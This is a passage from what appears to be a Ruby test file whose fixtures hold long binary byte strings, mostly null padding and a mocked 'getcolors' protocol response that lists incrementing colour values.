"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:getcolors_response) do + "\x01\x00\xa3\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ +"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x01\x01\x01\x00\x00" \ +"\x02\x02\x02\x02\x02\x02\x00\x00\x03\x03\x03\x03\x03\x03\x00\x00" \ +"\x04\x04\x04\x04\x04\x04\x00\x00\x05\x05\x05\x05\x05\x05\x00\x00" \ +"\x06\x06\x06\x06\x06\x06\x00\x00\x07\x07\x07\x07\x07\x07\x00\x00" \ +"\x08\x08\x08\x08\x08\x08\x00\x00\x09\x09\x09\x09\x09\x09\x00\x00" \ +"\x0a\x0a\x0a\x0a\x0a\x0a\x00\x00\x0b\x0b\x0b\x0b\x0b\x0b\x00\x00" \ +"\x0c\x0c\x0c\x0c\x0c\x0c\x00\x00\x0d\x0d\x0d\x0d\x0d\x0d\x00\x00" \ +"\x0e\x0e\x0e\x0e\x0e\x0e\x00\x00\x0f\x0f\x0f\x0f\x0f\x0f\x00\x00" \ +"\x10\x10\x10\x10\x10\x10\x00\x00\x11\x11\x11\x11\x11\x11\x00\x00" \ +"\x12\x12\x12\x12\x12\x12\x00\x00\x13\x13\x13\x13\x13\x13\x00\x00" \ +"\x14\x14\x14\x14\x14\x14\x00\x00\x15\x15\x15\x15\x15\x15\x00\x00" \ +"\x16\x16\x16\x16\x16\x16\x00\x00\x17\x17\x17\x17\x17\x17\x00\x00" \ +"\x18\x18\x18\x18\x18\x18\x00\x00\x19\x19\x19\x19\x19\x19\x00\x00" \ +"\x1a\x1a\x1a\x1a\x1a\x1a\x00\x00\x1b\x1b\x1b\x1b\x1b\x1b\x00\x00" \ +"\x1c\x1c\x1c\x1c\x1c\x1c\x00\x00\x1d\x1d\x1d\x1d\x1d\x1d\x00\x00" \ +"\x1e\x1e\x1e\x1e\x1e\x1e\x00\x00\x1f\x1f\x1f\x1f\x1f\x1f\x00\x00" \ +"\x20\x20\x20\x20\x20\x20\x00\x00\x21\x21\x21\x21\x21\x21\x00\x00" \ +"\x22\x22\x22\x22\x22\x22\x00\x00\x23\x23\x23\x23\x23\x23\x00\x00" \ +"\x24\x24\x24\x24\x24\x24\x00\x00\x25\x25\x25\x25\x25\x25\x00\x00" \ +"\x26\x26\x26\x26\x26\x26\x00\x00\x27\x27\x27\x27\x27\x27\x00\x00" \ +"\x28\x28\x28\x28\x28\x28\x00\x00\x29\x29\x29\x29\x29\x29\x00\x00" \ +"\x2a\x2a\x2a\x2a\x2a\x2a\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x00\x00" \ +"\x2c\x2c\x2c\x2c\x2c\x2c\x00\x00\x2d\x2d\x2d\x2d\x2d\x2d\x00\x00" \ +"\x2e\x2e\x2e\x2e\x2e\x2e\x00\x00\x2f\x2f\x2f\x2f\x2f\x2f\x00\x00" \ +"\x30\x30\x30\x30\x30\x30\x00\x00\x31\x31\x31\x31\x31\x31\x00\x00" \ +"\x32\x32\x32\x32\x32\x32\x00\x00\x33\x33\x33\x33\x33\x33\x00\x00" \ +"\x34\x34\x34\x34\x34\x34\x00\x00\x35\x35\x35\x35\x35\x35\x00\x00" \ +"\x36\x36\x36\x36\x36\x36\x00\x00\x37\x37\x37\x37\x37\x37\x00\x00" \ +"\x38\x38\x38\x38\x38\x38\x00\x00\x39\x39\x39\x39\x39\x39\x00\x00" \ +"\x3a\x3a\x3a\x3a\x3a\x3a\x00\x00\x3b\x3b\x3b\x3b\x3b\x3b\x00\x00" \ +"\x3c\x3c\x3c\x3c\x3c\x3c\x00\x00\x3d\x3d\x3d\x3d\x3d\x3d\x00\x00" \ +"\x3e\x3e\x3e\x3e\x3e\x3e\x00\x00\x3f\x3f\x3f\x3f\x3f\x3f\x00\x00" \ +"\x40\x40\x40\x40\x40\x40\x00\x00\x41\x41\x41\x41\x41\x41\x00\x00" \ +"\x42\x42\x42\x42\x42\x42\x00\x00\x43\x43\x43\x43\x43\x43\x00\x00" \ +"\x44\x44\x44\x44\x44\x44\x00\x00\x45\x45\x45\x45\x45\x45\x00\x00" \ +"\x46\x46\x46\x46\x46\x46\x00\x00\x47\x47\x47\x47\x47\x47\x00\x00" \ +"\x48\x48\x48\x48\x48\x48\x00\x00\x49\x49\x49\x49\x49\x49\x00\x00" \ +"\x4a\x4a\x4a\x4a\x4a\x4a\x00\x00\x4b\x4b\x4b\x4b\x4b\x4b\x00\x00" \ +"\x4c\x4c\x4c\x4c\x4c\x4c\x00\x00\x4d\x4d\x4d\x4d\x4d\x4d\x00\x00" \ +"\x4e\x4e\x4e\x4e\x4e\x4e\x00\x00\x4f\x4f\x4f\x4f\x4f\x4f\x00\x00" \ +"\x50\x50\x50\x50\x50\x50\x00\x00\x51\x51\x51\x51\x51\x51\x00\x00" \ +"\x52\x52\x52\x52\x52\x52\x00\x00\x53\x53\x53\x53\x53\x53\x00\x00" \ +"\x54\x54\x54\x54\x54\x54\x00\x00\x55\x55\x55\x55\x55\x55\x00\x00" \ +"\x56\x56\x56\x56\x56\x56\x00\x00\x57\x57\x57\x57\x57\x57\x00\x00" \ +"\x58\x58\x58\x58\x58\x58\x00\x00\x59\x59\x59\x59\x59\x59\x00\x00" \ +"\x5a\x5a\x5a\x5a\x5a\x5a\x00\x00\x5b\x5b\x5b\x5b\x5b\x5b\x00\x00" \ +"\x5c\x5c\x5c\x5c\x5c\x5c\x00\x00\x5d\x5d\x5d\x5d\x5d\x5d\x00\x00" \ +"\x5e\x5e\x5e\x5e\x5e\x5e\x00\x00\x5f\x5f\x5f\x5f\x5f\x5f\x00\x00" \ +"\x60\x60\x60\x60\x60\x60\x00\x00\x61\x61\x61\x61\x61\x61\x00\x00" \ +"\x62\x62\x62\x62\x62\x62\x00\x00\x63\x63\x63\x63\x63\x63\x00\x00" \ +"\x64\x64\x64\x64\x64\x64\x00\x00\x65\x65\x65\x65\x65\x65\x00\x00" \ +"\x66\x66\x66\x66\x66\x66\x00\x00\x67\x67\x67\x67\x67\x67\x00\x00" \ +"\x68\x68\x68\x68\x68\x68\x00\x00\x69\x69\x69\x69\x69\x69\x00\x00" \ +"\x6a\x6a\x6a\x6a\x6a\x6a\x00\x00\x6b\x6b\x6b\x6b\x6b\x6b\x00\x00" \ +"\x6c\x6c\x6c\x6c\x6c\x6c\x00\x00\x6d\x6d\x6d\x6d\x6d\x6d\x00\x00" \ +"\x6e\x6e\x6e\x6e\x6e\x6e\x00\x00\x6f\x6f\x6f\x6f\x6f\x6f\x00\x00" \ +"\x70\x70\x70\x70\x70\x70\x00\x00\x71\x71\x71\x71\x71\x71\x00\x00" \ +"\x72\x72\x72\x72\x72\x72\x00\x00\x73\x73\x73\x73\x73\x73\x00\x00" \ +"\x74\x74\x74\x74\x74\x74\x00\x00\x75\x75\x75\x75\x75\x75\x00\x00" \ +"\x76\x76\x76\x76\x76\x76\x00\x00\x77\x77\x77\x77\x77\x77\x00\x00" \ +"\x78\x78\x78\x78\x78\x78\x00\x00\x79\x79\x79\x79\x79\x79\x00\x00" \ +"\x7a\x7a\x7a\x7a\x7a\x7a\x00\x00\x7b\x7b\x7b\x7b\x7b\x7b\x00\x00" \ +"\x7c\x7c\x7c\x7c\x7c\x7c\x00\x00\x7d\x7d\x7d\x7d\x7d\x7d\x00\x00" \ +"\x7e\x7e\x7e\x7e\x7e\x7e\x00\x00\x7f\x7f\x7f\x7f\x7f\x7f\x00\x00" \ +"\x80\x80\x80\x80\x80\x80\x00\x00\x81\x81\x81\x81\x81\x81\x00\x00" \ +"\x82\x82\x82\x82\x82\x82\x00\x00\x83\x83\x83\x83\x83\x83\x00\x00" \ +"\x84\x84\x84\x84\x84\x84\x00\x00\x85\x85\x85\x85\x85\x85\x00\x00" \ +"\x86\x86\x86\x86\x86\x86\x00\x00\x87\x87\x87\x87\x87\x87\x00\x00" \ +"\x88\x88\x88\x88\x88\x88\x00\x00\x89\x89\x89\x89\x89\x89\x00\x00" \ +"\x8a\x8a\x8a\x8a\x8a\x8a\x00\x00\x8b\x8b\x8b\x8b\x8b\x8b\x00\x00" \ +"\x8c\x8c\x8c\x8c\x8c\x8c\x00\x00\x8d\x8d\x8d\x8d\x8d\x8d\x00\x00" \ +"\x8e\x8e\x8e\x8e\x8e\x8e\x00\x00\x8f\x8f\x8f\x8f\x8f\x8f\x00\x00" \ +"\x90\x90\x90\x90\x90\x90\x00\x00\x91\x91\x91\x91\x91\x91\x00\x00" \ +"\x92\x92\x92\x92\x92\x92\x00\x00\x93\x93\x93\x93\x93\x93\x00\x00" \ +"\x94\x94\x94\x94\x94\x94\x00\x00\x95\x95\x95\x95\x95\x95\x00\x00" \ +"\x96\x96\x96\x96\x96\x96\x00\x00\x97\x97\x97\x97\x97\x97\x00\x00" \ +"\x98\x98\x98\x98\x98\x98\x00\x00\x99\x99\x99\x99\x99\x99\x00\x00" \ +"\x9a\x9a\x9a\x9a\x9a\x9a\x00\x00\x9b\x9b\x9b\x9b\x9b\x9b\x00\x00" \ +"\x9c\x9c\x9c\x9c\x9c\x9c\x00\x00\x9d\x9d\x9d\x9d\x9d\x9d\x00\x00" \ +"\x9e\x9e\x9e\x9e\x9e\x9e\x00\x00\x9f\x9f\x9f\x9f\x9f\x9f\x00\x00" \ +"\xa0\xa0\xa0\xa0\xa0\xa0\x00\x00\xa1\xa1\xa1\xa1\xa1\xa1\x00\x00" \ +"\xa2\xa2\xa2\xa2\xa2\xa2\x00\x00\xa3\xa3\xa3\xa3\xa3\xa3\x00\x00" \ +"\xa4\xa4\xa4\xa4\xa4\xa4\x00\x00\xa5\xa5\xa5\xa5\xa5\xa5\x00\x00" \ +"\xa6\xa6\xa6\xa6\xa6\xa6\x00\x00\xa7\xa7\xa7\xa7\xa7\xa7\x00\x00" \ +"\xa8\xa8\xa8\xa8\xa8\xa8\x00\x00\xa9\xa9\xa9\xa9\xa9\xa9\x00\x00" \ +"\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\xab\xab\xab\xab\xab\xab\x00\x00" \ +"\xac\xac\xac\xac\xac\xac\x00\x00\xad\xad\xad\xad\xad\xad\x00\x00" \ +"\xae\xae\xae\xae\xae\xae\x00\x00\xaf\xaf\xaf\xaf\xaf\xaf\x00\x00" \ +"\xb0\xb0\xb0\xb0\xb0\xb0\x00\x00\xb1\xb1\xb1\xb1\xb1\xb1\x00\x00" \ +"\xb2\xb2\xb2\xb2\xb2\xb2\x00\x00\xb3\xb3\xb3\xb3\xb3\xb3\x00\x00" \ +"\xb4\xb4\xb4\xb4\xb4\xb4\x00\x00\xb5\xb5\xb5\xb5\xb5\xb5\x00\x00" \ +"\xb6\xb6\xb6\xb6\xb6\xb6\x00\x00\xb7\xb7\xb7\xb7\xb7\xb7\x00\x00" \ +"\xb8\xb8\xb8\xb8\xb8\xb8\x00\x00\xb9\xb9\xb9\xb9\xb9\xb9\x00\x00" \ 